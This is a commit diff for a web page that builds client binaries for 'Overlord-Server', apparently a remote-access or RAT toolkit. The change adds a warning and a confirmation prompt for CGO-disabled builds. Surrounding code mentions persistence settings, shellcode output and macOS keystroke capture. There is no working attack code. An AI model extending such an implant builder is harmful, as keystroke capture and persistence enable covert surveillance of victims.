add better CGO warnings

Overlord-Server/public/assets/build.js

@@ -52,6 +52,8 @@ const macosSdkRightsInput = document.getElementById("macos-sdk-rights");
 const macosSdkFileStatus = document.getElementById("macos-sdk-file-status");
 const macosSdkHostWarning = document.getElementById("macos-sdk-host-warning");
 const macosSdkHostPlatform = document.getElementById("macos-sdk-host-platform");
+const disableCgoInput = document.querySelector('input[name="disable-cgo"]');
+const disableCgoWarning = document.getElementById("disable-cgo-warning");
 
 let currentServerVersion = null;
 let currentUserRole = null;
@@ -88,6 +90,10 @@ function updateMacosSdkVisibility() {
   if (macosSdkHostPlatform && unsupportedHost) macosSdkHostPlatform.textContent = macosSdkServerHost;
 }
 
+function updateDisableCgoWarning() {
+  disableCgoWarning?.classList.toggle("hidden", !disableCgoInput?.checked);
+}
+
 async function uploadMacosSdk() {
   const file = macosSdkFileInput?.files?.[0];
   if (!file) throw new Error("Select a macOS SDK archive for this Darwin CGO build");
@@ -705,6 +711,8 @@ function applyFormSettings(settings) {
   updateIosSectionVisibility();
   updatePersistenceSettingsVisibility();
   updateShellcodeCheckboxVisibility();
+  updateDisableCgoWarning();
+  updateMacosSdkVisibility();
   if (solMemoCheckbox && solSettings) {
     solSettings.classList.toggle("hidden", !solMemoCheckbox.checked);
   }
@@ -955,6 +963,7 @@ loadBuildPlugins();
 loadMacosSdkStatus();
 updateWindowsSectionVisibility();
 updateShellcodeCheckboxVisibility();
+updateDisableCgoWarning();
 init();
 
 if (solMemoCheckbox && solSettings) {
@@ -1134,7 +1143,8 @@ platformInputs.forEach((input) => {
   input.addEventListener("change", updateMacosSdkVisibility);
 });
 
-document.querySelector('input[name="disable-cgo"]')?.addEventListener("change", updateMacosSdkVisibility);
+disableCgoInput?.addEventListener("change", updateMacosSdkVisibility);
+disableCgoInput?.addEventListener("change", updateDisableCgoWarning);
 macosSdkFileInput?.addEventListener("change", () => {
   const file = macosSdkFileInput.files?.[0];
   if (macosSdkFileStatus && file) macosSdkFileStatus.textContent = `${file.name} selected (${formatFileSize(file.size)}).`;
@@ -1803,6 +1813,13 @@ form?.addEventListener("submit", async (e) => {
     return;
   }
 
+  if (disableCgoInput?.checked && !confirm(
+    "CGO is disabled. Native features such as voice/audio, macOS keystroke capture and permission checks, native Linux/macOS plugins, and Windows GPU encoder integrations may not work.\n\nContinue with a limited CGO-disabled build?"
+  )) {
+    disableCgoInput.focus();
+    return;
+  }
+
   if (needsMacosSdkUpload() && (!macosSdkFileInput?.files?.[0] || !macosSdkRightsInput?.checked)) {
     alert(!macosSdkFileInput?.files?.[0]
       ? "Select a macOS SDK archive for this Darwin CGO build."

Overlord-Server/public/build.html

@@ -593,6 +593,23 @@
                       </span>
                     </label>
 
+                    <div id="disable-cgo-warning" class="hidden p-4 bg-amber-950/40 border border-amber-600/60 rounded-lg text-amber-200">
+                      <div class="flex items-start gap-3">
+                        <i class="fa-solid fa-triangle-exclamation text-amber-400 mt-0.5"></i>
+                        <div class="min-w-0">
+                          <p class="text-sm font-semibold">CGO disabled — native features will be unavailable</p>
+                          <p class="mt-1 text-xs text-amber-200/80">The binary can still build, but features that depend on native platform libraries may be missing or fall back to limited implementations, including:</p>
+                          <ul class="mt-2 ml-4 list-disc text-xs text-amber-200/80 space-y-1">
+                            <li>Native voice/audio support</li>
+                            <li>macOS keystroke capture and native permission checks</li>
+                            <li>Native plugin loading on Linux and macOS</li>
+                            <li>Windows GPU encoder integrations such as NVENC, AMF, and QSV</li>
+                          </ul>
+                          <p class="mt-2 text-xs font-medium">Only disable CGO when portability is more important than full functionality.</p>
+                        </div>
+                      </div>
+                    </div>
+
                     <label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-sky-500 transition-colors">
                       <input type="checkbox" name="no-printing" class="w-4 h-4" />
                       <div class="flex flex-col">